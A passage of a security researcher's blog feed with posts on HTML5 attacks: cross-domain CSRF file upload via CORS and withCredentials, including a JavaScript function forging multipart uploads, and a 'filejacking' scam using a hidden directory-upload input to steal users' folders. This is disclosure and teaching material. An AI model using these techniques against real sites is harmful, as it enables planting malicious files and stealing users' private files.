/><thr:total>1</thr:total><feedburner:origLink>http://blog.kotowicz.net/2011/05/invisible-arbitrary-csrf-file-upload-in.html</feedburner:origLink></entry><entry gd:etag="W/&quot;AkQHRHg9fyp7ImA9WhZWEEs.&quot;"><id>tag:blogger.com,1999:blog-3650259870998252242.post-6570984112086619949</id><published>2011-05-10T17:49:00.002+02:00</published><updated>2011-05-11T00:58:55.667+02:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-05-11T00:58:55.667+02:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="javascript" /><category scheme="http://www.blogger.com/atom/ns#" term="csrf" /><category scheme="http://www.blogger.com/atom/ns#" term="html5" /><category scheme="http://www.blogger.com/atom/ns#" term="security" /><category scheme="http://www.blogger.com/atom/ns#" term="upload" /><title>Cross domain arbitrary file upload Redux</title><content type="html">Remember how it was possible to &lt;a href="http://blog.kotowicz.net/2011/04/how-to-upload-arbitrary-file-contents.html"&gt;upload files with arbitrary names &amp;amp; contents cross domain&lt;/a&gt;?&amp;nbsp; The method had one, but crucial limitation - it&lt;b&gt; did not include any credentials&lt;/b&gt;. In other words, the POST message would be sent to server without any cookies / HTTP auth, so it would most likely be discarded by the attacked application. You could upload a file (precisely, that's a CSRF File Upload), but, in most cases, the receiving application would drop it. Until now :)&lt;br /&gt;
&lt;h2&gt;I can haz cookies!&lt;/h2&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;I still don't know how did I miss this, but it's just a one-line change:&lt;br /&gt;
&lt;pre class="javascript" name="code"&gt;xhr.withCredentials = "true"; 
&lt;/pre&gt;&lt;b&gt;That's it&lt;/b&gt;. With this flag set:&lt;br /&gt;
&lt;ul&gt;&lt;li&gt;&lt;a href="http://www.w3.org/TR/cors/"&gt;CORS&lt;/a&gt; simple requests will include cookies / HTTP auth&lt;/li&gt;
&lt;li&gt; CORS preflighted requests will ask for permission to include them&lt;/li&gt;
&lt;/ul&gt;Luckily for attackers (and unfortunately for the Web), POST request with MIME type &lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;multipart/form-data&lt;/span&gt; and credentials are still in the 'simple' bucket. So the exact CSRF CORS File Upload attack works like this:&lt;br /&gt;
&lt;br /&gt;
&lt;table cellpadding="0" cellspacing="0" class="tr-caption-container" style="float: right; margin-left: 1em; text-align: right;"&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style="text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/-I2c42-r5f-g/TclW3PtX5dI/AAAAAAAAEr4/_PttjVID9Hs/s1600/3-3-11-Grimms-Lost-Fairy-Tales-Little-Red-Ridding-Hood-1.jpg" imageanchor="1" style="clear: right; margin-bottom: 1em; margin-left: auto; margin-right: auto;"&gt;&lt;img border="0" src="http://2.bp.blogspot.com/-I2c42-r5f-g/TclW3PtX5dI/AAAAAAAAEr4/_PttjVID9Hs/s1600/3-3-11-Grimms-Lost-Fairy-Tales-Little-Red-Ridding-Hood-1.jpg" /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="tr-caption" style="text-align: center;"&gt;"Take those cookies to your grandma", said The Browser&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;ol&gt;&lt;li&gt;Victim logs in to &lt;span style="color: #6aa84f; font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;victim&lt;/span&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;.whatever.com&lt;/span&gt; website &lt;/li&gt;
&lt;li&gt;He receives a session cookie for future requests&lt;/li&gt;
&lt;li&gt;In the same browser session (e.g. 2nd tab) he visits &lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&lt;span style="color: red;"&gt;attacker&lt;/span&gt;.reallybad.ly&lt;/span&gt; website&lt;/li&gt;
&lt;li&gt;Javascript code in &lt;span style="color: red; font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;attacker&lt;/span&gt; silently prepares CORS file upload request with XMLHttpRequest object to &lt;span style="color: #6aa84f; font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;victim&lt;/span&gt; domain, and asks to include credentials (&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;xhr.withCredentials&lt;/span&gt;)&lt;br /&gt;
&lt;br /&gt;
&lt;i&gt;"Browser, I really need you to send this tiny little harmless POST to &lt;span style="color: #93c47d;"&gt;victim&lt;/span&gt;"&lt;/i&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;/li&gt;
&lt;li&gt;&lt;span style="color: blue;"&gt;Browser&lt;/span&gt; treats this as a &lt;b&gt;simple&lt;/b&gt; CORS request, so it attaches the cookie for &lt;span style="color: #6aa84f; font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;victim&lt;/span&gt; domain to it and sends it.&lt;br /&gt;
&lt;br /&gt;
&lt;i&gt;"Hey, JS! It's a request to another domain - what are you up to? Oh, just a POST request? No custom headers? Sure thing, here are the cookies and I wish you a pleasant journey!"&lt;/i&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;/li&gt;
&lt;li&gt;&lt;span style="color: #6aa84f; font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;victim&lt;/span&gt; app receives the POST file upload with the cookie, so it processes the upload and responds.&lt;br /&gt;
&lt;br /&gt;
&lt;i&gt;"What's this weird Origin header pointing to &lt;span style="color: red;"&gt;attacker&lt;/span&gt;.reallybad.ly? It must be the new kid in town, but who am I to know?"&lt;/i&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;/li&gt;
&lt;li&gt;&lt;span style="color: blue;"&gt;Browser&lt;span style="color: black;"&gt; looks at the response and, not having appropriate CORS response headers, discards the response.&lt;br /&gt;
&lt;br /&gt;
&lt;i&gt;"Oh dear! No Access-Control-Allow-Origin header at all! You bad Javascript! I won't give you the response, and you'll get spanked with an exception! Surely that was one nasty hack attack I prevented. Luckily I follow the CORS specification, good work, CORS guys!"&lt;/i&gt;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;
&lt;/ol&gt;Yeah, exactly. Good work! Now the CSRF File Upload is super-simple. I've updated &lt;a href="http://victim.kotowicz.net/crossdomain-upload/vuln/index.php"&gt;the&lt;/a&gt; &lt;a href="http://attacker.kotowicz.net/crossdomain-upload/evil/upload.html"&gt;examples&lt;/a&gt; with the new code.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3650259870998252242-6570984112086619949?l=blog.kotowicz.net' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/TheWorldAccordingToKoto/~4/bvdaACAoaXE" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://blog.kotowicz.net/feeds/6570984112086619949/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=3650259870998252242&amp;postID=6570984112086619949" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/3650259870998252242/posts/default/6570984112086619949?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/3650259870998252242/posts/default/6570984112086619949?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/TheWorldAccordingToKoto/~3/bvdaACAoaXE/cross-domain-arbitrary-file-upload.html" title="Cross domain arbitrary file upload Redux" /><author><name>Krzysztof Kotowicz</name><uri>https://profiles.google.com/111743409761183951147</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="32" src="//lh4.googleusercontent.com/-ADnDC5o75NA/AAAAAAAAAAI/AAAAAAAAE1w/rnOv95ckHn4/s512-c/photo.jpg" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://2.bp.blogspot.com/-I2c42-r5f-g/TclW3PtX5dI/AAAAAAAAEr4/_PttjVID9Hs/s72-c/3-3-11-Grimms-Lost-Fairy-Tales-Little-Red-Ridding-Hood-1.jpg" height="72" width="72" /><thr:total>0</thr:total><feedburner:origLink>http://blog.kotowicz.net/2011/05/cross-domain-arbitrary-file-upload.html</feedburner:origLink></entry><entry gd:etag="W/&quot;AkMCRHo8fip7ImA9WhVSGEw.&quot;"><id>tag:blogger.com,1999:blog-3650259870998252242.post-1793963100758452063</id><published>2011-04-29T16:59:00.004+02:00</published><updated>2012-03-15T14:34:25.476+01:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2012-03-15T14:34:25.476+01:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="javascript" /><category scheme="http://www.blogger.com/atom/ns#" term="html5" /><category scheme="http://www.blogger.com/atom/ns#" term="xss" /><category scheme="http://www.blogger.com/atom/ns#" term="security" /><category scheme="http://www.blogger.com/atom/ns#" term="upload" /><title>How to upload arbitrary file contents cross-domain</title><content type="html">&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;
&lt;b&gt;Update:&lt;/b&gt; &lt;i&gt;Since publishing details of this technique it has been used to exploit CRSFable file upload forms on  &lt;a href="http://www.sneaked.net/invisible-arbitrary-csrf-profile-picture-upload-in-facebook"&gt;Facebook&lt;/a&gt; , &lt;a href="http://blog.kotowicz.net/2011/05/invisible-arbitrary-csrf-file-upload-in.html"&gt;Flickr&lt;/a&gt;, &lt;a href="http://blog.kotowicz.net/2011/07/imgurcom-session-hijacking.html"&gt;Imgur&lt;/a&gt;, &lt;a href="http://blog.kotowicz.net/2011/09/minuscom-silent-arbitrary-file-upload.html"&gt;minus.com&lt;/a&gt;,&amp;nbsp;&lt;a href="http://blog.kotowicz.net/2011/10/poor-princess-leia-tumblrcom-csrf.html"&gt;Tumblr.com&lt;/a&gt; and others. It seems that many file upload forms lack anti CSRF tokens.&amp;nbsp;&lt;/i&gt;&lt;br /&gt;
&lt;br /&gt;
HTML5, together with its sister specifications (XMLHTTPRequest level 2, File API etc.) has a really interesting property when it comes to security. Websites that are coded securely get new tools allowing them to be even more secure. Yet poorly coded websites might be prone to new flavours of attack. &lt;b&gt;It makes good even better, and bad even worse.&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
The best example of this would be the &lt;a href="http://www.w3.org/TR/cors/"&gt;Cross Origin Resource Sharing&lt;/a&gt; (CORS) specification commonly known as Cross Domain AJAX. Back in the days, AJAX request could not be sent cross domain - now, in all current browsers, they can. Does it affect security? Sure it does - even &lt;a href="http://m-austin.com/blog/?p=19"&gt;Facebook got hacked with it&lt;/a&gt;. While the specification was designed with security in mind, fully opt-in, introducing new headers and preflight mode, there are sites in the Internet that suddenly got vulnerable once surfers upgraded their browsers. &lt;br /&gt;
&lt;br /&gt;
Continuing the fun with &lt;a href="http://blog.kotowicz.net/2011/04/how-to-make-file-server-from-your.html"&gt;file upload issues&lt;/a&gt; in current browers, today I'd like to show you how to upload a file:&lt;br /&gt;
&lt;ol&gt;
&lt;li&gt;from victim's browser &lt;/li&gt;
&lt;li&gt;with arbitrary filename&lt;/li&gt;
&lt;li&gt;with arbitrary content&lt;/li&gt;
&lt;li&gt;without user interaction&lt;/li&gt;
&lt;li&gt;&lt;b&gt;.. to another domain.&lt;/b&gt;&lt;a name='more'&gt;&lt;/a&gt; &lt;/li&gt;
&lt;/ol&gt;
This last point is crucial. Before CORS, the attacker might forge a file upload request with Javascript, but he could only upload it to the same domain (so XSS in a victim site was required) - now he can do it from anywhere.&lt;br /&gt;
&lt;i&gt;Disclaimer: &lt;/i&gt;Don't expect a miracle that will exploit every website dealing with file upload. &lt;strike&gt;Described method is not likely to be exploited in the wild as it requires the victim application to be vulnerable in a specific way. It's rather a proof of concept of how bad application turns into terrible when HTML5 arrives.&lt;/strike&gt;&lt;b&gt;Update: &lt;/b&gt;now it's much more &lt;a href="http://blog.kotowicz.net/2011/05/cross-domain-arbitrary-file-upload.html"&gt;closer to miracle&lt;/a&gt;&lt;br /&gt;
&lt;h2&gt;


How does file upload work?&lt;/h2&gt;
&lt;a href="http://www.faqs.org/rfcs/rfc1867.html"&gt;HTTP file uploads&lt;/a&gt; are simply POST requests with &lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;multipart/form-data&lt;/span&gt; content type. Exemplary HTTP request looks like this:&lt;br /&gt;
&lt;pre class="brush:text; highlight:[15,18]" name="code"&gt;POST /crossdomain-upload/vuln/recv.php HTTP/1.1
Host: victim.blog.security.localhost
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:6.0a1) Gecko/20110422 Firefox/6.0a1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Connection: keep-alive
Referer: http://victim.blog.security.localhost/crossdomain-upload/vuln/upload.php
Cookie: PHPSESSID=bdb46b013d71a85f3514c6c6031c4654
Content-Type: multipart/form-data; boundary=---------------------------153930214414330723532119279484
Content-Length: 238

-----------------------------153930214414330723532119279484
Content-Disposition: form-data; name="contents"; filename="hello.txt"
Content-Type: text/plain

Hello, world!
-----------------------------153930214414330723532119279484--
&lt;/pre&gt;
In &lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;multipart/form-data&lt;/span&gt;, every form field (including files) is represented as a MIME part and parts are separated by a arbitrary boundary. Browsers &lt;b&gt;after user chooses &lt;/b&gt;&lt;b&gt;the file&lt;/b&gt; populate the &lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;filename&lt;/span&gt; field with local file name (line 15) and copy file contents into MIME part (line 18).&lt;br /&gt;
&lt;br /&gt;
Server processes this POST request, unpacks the MIME data, extracts files and, for example in PHP, stores the files in temporary directory, filling out &lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;$_POST&lt;/span&gt; and &lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;$_FILES&lt;/span&gt; arrays for the application. Simple and elegant. &lt;br /&gt;
&lt;h2&gt;


File upload in Javascript&lt;/h2&gt;
But what if you'd like to generate a file in the browser without forcing user to choose one from his HDD? This way, we could have control over file name, file contents AND the user wouldn't be bothered with the 'choose file' dialog.In fact, it would be invisible. Is it possible?&lt;br /&gt;
&lt;br /&gt;
Sure! It was for years. Just make a XMLHttpRequest POST request, forming a multipart MIME in Javascript manually. &lt;br /&gt;
&lt;pre class="brush:javascript" name="code"&gt;function fileUpload(url, fileData, fileName) {
   var fileSize = fileData.length,
     boundary = "xxxxxxxxx",
     xhr = new XMLHttpRequest();
   
   xhr.open("POST", url, true);
          // simulate a file MIME POST request.
   xhr.setRequestHeader("Content-Type", "multipart/form-data, boundary="+boundary);
   xhr.setRequestHeader("Content-Length", fileSize);
   
   var body = "--" + boundary + "\r\n";
   body += 'Content-Disposition: form-data; name="contents"; filename="' + fileName + '"\r\n';
   body += "Content-Type: application/octet-stream\r\n\r\n";
   body += fileData + "\r\n";
   body += "--" + boundary + "--";
   
   xhr.send(body);
   return true;
}
&lt;/pre&gt;
Voila!&lt;br /&gt;
&lt;h2&gt;


Same domain, XSS needed&lt;/h2&gt;
How can this be used? Let's imagine that we have a website serving up a repository of files shared among a working group of users. Users upload files, others download them to work together on some secret nuclear project.&lt;br /&gt;
The site follows common development practices, so it is vulnerable to XSS (it must be, it's the &lt;a href="https://www.owasp.org/index.php/Top_10_2010-A2"&gt;top feature&lt;/a&gt;!)&lt;br /&gt;
&lt;br /&gt;
Now it is possible to inject a payload that will, on behalf of a user (the cookies will be included) upload any content we want, with any filename. It can be a trojan EXE file, PHP file to be used in LFI attack or malicious PDF file. Even &lt;a href="https://nealpoole.com/blog/2011/04/file-upload-xss-vulnerability-in-wordpress/"&gt;uploading TXT files is considered harmful&lt;/a&gt; due to content sniffing. User needs only to visit a given URL. &lt;br /&gt;
&lt;br /&gt;
But - &lt;b&gt;we need to be on the same domain&lt;/b&gt;, hence requirement for XSS. &lt;br /&gt;
&lt;h2&gt;


Having fun cross origin&lt;/h2&gt;
ekhm... &lt;b&gt;no, we don't&lt;/b&gt;. We have CORS. We can post to other domains, so we don't need any XSS, we can host the payload anywhere! The POST request with our forged MIME parts will happily leave victim browser and travel through Internet to its destination, decorated with CORS headers. The application will happily ignore them as it doesn't &lt;i&gt;speak&lt;/i&gt; CORS.&lt;br /&gt;
&lt;br /&gt;
But wait? Wasn't CORS designed &lt;i&gt;with security in mind&lt;/i&gt;? Sure it was, there are a few caveats:&lt;br /&gt;
&lt;ul&gt;
&lt;li&gt;you won't get access to the server response (unless the victim site sends &lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;Access-Control-Allow-Origin&lt;/span&gt; and other headers)&lt;/li&gt;
&lt;li&gt; cookies, HTTP authentication and custom headers won't be transferred, so application must accept file uploads without authenticating them &lt;b&gt;- Update: &lt;/b&gt;Now there's a &lt;a href="http://blog.kotowicz.net/2011/05/cross-domain-arbitrary-file-upload.html"&gt;simple way to include credentials&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
These caveats make the described technique unlikely-to-be-used, but still, there probably are websites skipping authentication when processing file uploads. &lt;b&gt;For them, HTML5 turns bad into terrible.&lt;/b&gt;&lt;br /&gt;
&lt;h2&gt;


Demo&lt;/h2&gt;
As always, I've prepared a demo:&lt;br /&gt;
&lt;br /&gt;
&lt;a href="http://victim.kotowicz.net/crossdomain-upload/vuln/index.php"&gt;http://&lt;b&gt;victim&lt;/b&gt;.kotowicz.net/crossdomain-upload/vuln/&lt;/a&gt;&amp;nbsp; &lt;br /&gt;
&lt;br /&gt;
This is a &lt;b&gt;victim&lt;/b&gt; site that allows you to upload a file you might need later into your personal web space. You need to be logged in to upload the file, of course, but the authentication is not always checked (a small &lt;i&gt;"mistake"&lt;/i&gt; by me). You can only see your own files, because the filenames are prepended with your login.&lt;br /&gt;
&lt;br /&gt;
&lt;a href="http://attacker.kotowicz.net/crossdomain-upload/evil/upload.html"&gt;http://&lt;b&gt;attacker&lt;/b&gt;.kotowicz.net/crossdomain-upload/evil/upload.html&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
This is the &lt;b&gt;attacker&lt;/b&gt; page - while being on a different domain, he can simulate file upload with any file name and any file contents to victim page, and the file will be processed. Note that I, knowing your skills, I'm not trusting you with my server ;) - &lt;b&gt;for security reasons file contents are erased and .txt extension is used for all files.&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
This demo works in &lt;b&gt;Firefox 4+&lt;/b&gt; and &lt;b&gt;Chrome&lt;/b&gt;. It might be easily modified to work in IE, other browsers are not tested yet.&lt;br /&gt;
&lt;br /&gt;
The source files for this demo are on &lt;a href="https://github.com/koto/blog-kotowicz-net-examples/tree/master/crossdomain-upload"&gt;GitHub&lt;/a&gt;.&lt;br /&gt;
&lt;h2&gt;


&lt;b&gt;Final words&lt;/b&gt;&lt;/h2&gt;
Other ways to CSRF file upload were discovered in 2008 by &lt;a href="http://kuza55.blogspot.com/2008/02/csrf-ing-file-upload-fields.html"&gt;@kuza55&lt;/a&gt; and &lt;a href="http://www.gnucitizen.org/blog/cross-site-file-upload-attacks/"&gt;@pdp&lt;/a&gt;. Kuza55 method exploited a browser bug that converted standard form field into a file field (lack of proper escaping by browser engine). PDP used Flash to construct MIME message.&lt;br /&gt;
&lt;br /&gt;
What is worth mentioning - method described in this blog post is "future-proof", it's unlikely to get fixed by browser vendors. It exploits a &lt;b&gt;CORS specification quirk&lt;/b&gt; that allows sending POST requests without preflight.Originally the specification allowed only GET/HEAD requests to be sent this way, but it allowed POST in 2008. Why? &lt;a href="http://www.w3.org/TR/2008/WD-access-control-20080912/#design-decision-faq"&gt;FAQ&lt;/a&gt; answers:&lt;br /&gt;
&lt;blockquote&gt;
&lt;br /&gt;
&lt;dl&gt;
&lt;dt&gt;Why is &lt;code&gt;POST&lt;/code&gt; treated identically to &lt;code&gt;GET&lt;/code&gt;?     &lt;/dt&gt;
&lt;dd&gt;Cross-site &lt;code&gt;POST&lt;/code&gt; requests have long been possible using      the HTML &lt;code&gt;form&lt;/code&gt; element. Cross-site &lt;code&gt;POST&lt;/code&gt;      requests with arbitrary an &lt;code&gt;Content-Type&lt;/code&gt; header set have      been possible for a long time in Flash.&lt;/dd&gt;&lt;/dl&gt;
&lt;/blockquote&gt;
It's true, one could always send POST request by doing &lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;form.submit()&lt;/span&gt; with form action being on different domain. However, one &lt;b&gt;could not send files&lt;/b&gt; this way without user interaction (unless using bug @kuza55 discovered). Now we're able to send files, but cookies are missing, &lt;b&gt;The rules change&lt;/b&gt; - &lt;b&gt;and existing applications should adjust&lt;/b&gt;. Most of them won't - and this is exactly why html5 buzzword will be a game changer for web app security in the coming years.&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3650259870998252242-1793963100758452063?l=blog.kotowicz.net' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/TheWorldAccordingToKoto/~4/QtlW9pPpazQ" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://blog.kotowicz.net/feeds/1793963100758452063/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=3650259870998252242&amp;postID=1793963100758452063" title="2 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/3650259870998252242/posts/default/1793963100758452063?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/3650259870998252242/posts/default/1793963100758452063?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/TheWorldAccordingToKoto/~3/QtlW9pPpazQ/how-to-upload-arbitrary-file-contents.html" title="How to upload arbitrary file contents cross-domain" /><author><name>Krzysztof Kotowicz</name><uri>https://profiles.google.com/111743409761183951147</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="32" src="//lh4.googleusercontent.com/-ADnDC5o75NA/AAAAAAAAAAI/AAAAAAAAE1w/rnOv95ckHn4/s512-c/photo.jpg" /></author><thr:total>2</thr:total><feedburner:origLink>http://blog.kotowicz.net/2011/04/how-to-upload-arbitrary-file-contents.html</feedburner:origLink></entry><entry gd:etag="W/&quot;AkYNRHYzfyp7ImA9WhZRGE0.&quot;"><id>tag:blogger.com,1999:blog-3650259870998252242.post-5797160857430300360</id><published>2011-04-14T19:21:00.001+02:00</published><updated>2011-04-14T21:09:55.887+02:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-04-14T21:09:55.887+02:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="javascript" /><category scheme="http://www.blogger.com/atom/ns#" term="html5" /><category scheme="http://www.blogger.com/atom/ns#" term="security" /><category scheme="http://www.blogger.com/atom/ns#" term="dialog" /><category scheme="http://www.blogger.com/atom/ns#" term="upload" /><title>Filejacking: How to make a file server from your browser (with HTML5 of course)</title><content type="html">Back in the days of &lt;a href="http://en.wikipedia.org/wiki/Browser_wars"&gt;browser wars&lt;/a&gt;, there was a joke:&amp;nbsp;&lt;i&gt;Internet Explorer is the only web browser that makes Internet browse your computer&lt;/i&gt;. Through various security flaws, IE was exploitable and allowed for remote code execution that could e.g. steal your sensitive files.&lt;br /&gt;
But now the times are different. It's not that easy to exploit current browsers, they get patched (relatively) quickly. Attackers cannot easily access your files using browsers vulnerabilities, so they turn to the weakest link - &lt;span class="Apple-style-span" style="font-size: small; font-weight: normal;"&gt;&lt;b&gt;users&lt;/b&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-size: small; font-weight: normal;"&gt;. In this post we'll try to explore what current browsers can do with your files.&lt;/span&gt;&lt;br /&gt;
&lt;a name='more'&gt;&lt;/a&gt;&lt;h2&gt;Your file, please&lt;/h2&gt;How can a website access user's files? Traditionally, user has to &lt;b&gt;upload the file&lt;/b&gt;. Users commonly share photos, videos upload their files for online conversion tools etc.&amp;nbsp;You could (theoretically) be tricked into uploading a sensitive file into a malicious website ("&lt;i&gt;please submit your private key for checking it's strength&lt;/i&gt;"), but, seriously, who falls for that?&lt;br /&gt;
&lt;br /&gt;
Lately, &lt;a href="http://www.w3.org/TR/FileAPI/"&gt;File API&lt;/a&gt;&amp;nbsp;allowed Javascript to access the file once it is &lt;b&gt;chosen&lt;/b&gt; by the user (i.e. before uploading it). Apart from delivering better file uploading experience, it might also be used maliciously &lt;span class="Apple-style-span" style="font-size: small; font-weight: normal;"&gt;&lt;a href="http://blog.kotowicz.net/2010/12/xss-track-now-steals-your-uploaded.html"&gt;to steal your files in XSS attack&lt;/a&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-size: small; font-weight: normal;"&gt;. Also, with clever styling you can hide &lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;input type=file&lt;/span&gt; control so that the user is unaware that he's going to upload the file. But still - &lt;/span&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;the only leaked file is the one user chose&lt;/span&gt;&lt;span class="Apple-style-span" style="font-size: small; font-weight: normal;"&gt; using&amp;nbsp;&lt;/span&gt;'Open File' dialog.&lt;br /&gt;
&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/-NE-Me3_s85Y/Tabtdy84qoI/AAAAAAAAErI/98szHFtzHRE/s1600/WinFormsOpenFileDialog.jpg" imageanchor="1" style="clear: right; float: right; margin-bottom: 1em; margin-left: 1em;"&gt;&lt;img border="0" height="147" src="http://4.bp.blogspot.com/-NE-Me3_s85Y/Tabtdy84qoI/AAAAAAAAErI/98szHFtzHRE/s200/WinFormsOpenFileDialog.jpg" width="200" /&gt;&lt;/a&gt;&lt;/div&gt;Users are aware of what file uploading is and are reluctant to choose&amp;nbsp;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;Downloaded Files/nothing here/move along/boring family photos/1/b00bs.jpg&lt;/span&gt;&amp;nbsp;when working inside a browser, so it's not a big deal, right?&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Wrong.&lt;/b&gt; It's 2011,&amp;nbsp;web applications need new features,&amp;nbsp;browsers are hurrying to implement them, sometimes security is an afterthought.&lt;br /&gt;
&lt;h2&gt;But first, a gift&lt;/h2&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;I've got some gifts for you&lt;i&gt;.&amp;nbsp;&lt;/i&gt;I gathered some of the latest hacking tricks for all browsers, spiced it up with an algorithm that will send you a ZIP file crafted especially for you based on your answers. Just fill out the short quiz and wait for the file download.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div&gt;&lt;b&gt;Update:&amp;nbsp;&lt;/b&gt;I'm currently experiencing traffic spike on the server, generating file might take a while.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;b&gt;Using Chrome / Chromium &lt;/b&gt;please navigate to:&lt;br /&gt;
&lt;br /&gt;
&lt;a href="http://kotowicz.net/wu/" target="_blank"&gt;&lt;span class="Apple-style-span" style="font-size: large;"&gt;http://kotowicz.net/wu/&lt;/span&gt;&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
and claim your gift :)&lt;br /&gt;
&lt;h2&gt;Now back to me&lt;/h2&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;input type=file directory&lt;/span&gt; is a splendid feature.&amp;nbsp;It allows you to upload&amp;nbsp;contents of a chosen&amp;nbsp;directory. Great when you'd like to submit a gallery of pictures to Facebook, ain't it? Currently, it's &lt;a href="https://bugs.webkit.org/show_bug.cgi?id=40872"&gt;implemented in Webkit (latest Chrome / Chromium)&lt;/a&gt;&amp;nbsp;- not yet in Safari, Firefox or any other browser.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div&gt;However it has a problem - &lt;b&gt;that feature is new to users&lt;/b&gt;, they don't know what are it's consequences, there are no warnings either. For all they know, &lt;b&gt;they're just selecting a folder&lt;/b&gt; using the OS native "select folder" dialog. Similar to what happens when e.g. choosing a download destination.&amp;nbsp;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div&gt;While you probably didn't fell for my trick, most users are not that smart nor security-minded. And the consequences of sharing a folder are &lt;b&gt;much worse&lt;/b&gt; than of sharing a single file. Don't believe me? See&lt;/div&gt;&lt;div&gt;&lt;a href="http://attacker.kotowicz.net/wu/evil.html"&gt;http://attacker.kotowicz.net/wu/evil.html&lt;/a&gt;&amp;nbsp;- the backend of the service. Or just look at the video:&lt;br /&gt;
&lt;br /&gt;
&lt;/div&gt;&lt;iframe allowfullscreen="" frameborder="0" height="390" src="http://www.youtube.com/embed/SJ6guv-_IHM?rel=0" title="YouTube video player" width="480"&gt;&lt;/iframe&gt;&lt;br /&gt;
&lt;div&gt;&lt;h2&gt;File server inside your browser&lt;/h2&gt;&lt;/div&gt;&lt;div&gt;The given example is another example of &lt;a href="http://blog.kotowicz.net/2011/03/exploiting-unexploitable-xss-with.html"&gt;UI redressing attack&lt;/a&gt;&amp;nbsp;exploting&amp;nbsp;new features of&amp;nbsp;HTML5. The elements of the scam:&lt;/div&gt;&lt;div&gt;&lt;ul&gt;&lt;li&gt;a phishing site with "hacking tricks" bait&lt;/li&gt;
&lt;li&gt;transparent &lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;input type=file directory&lt;/span&gt; over the fake download button&lt;/li&gt;
&lt;li&gt;launching another window to perform real work (to survive closing initial window by the user)&lt;/li&gt;
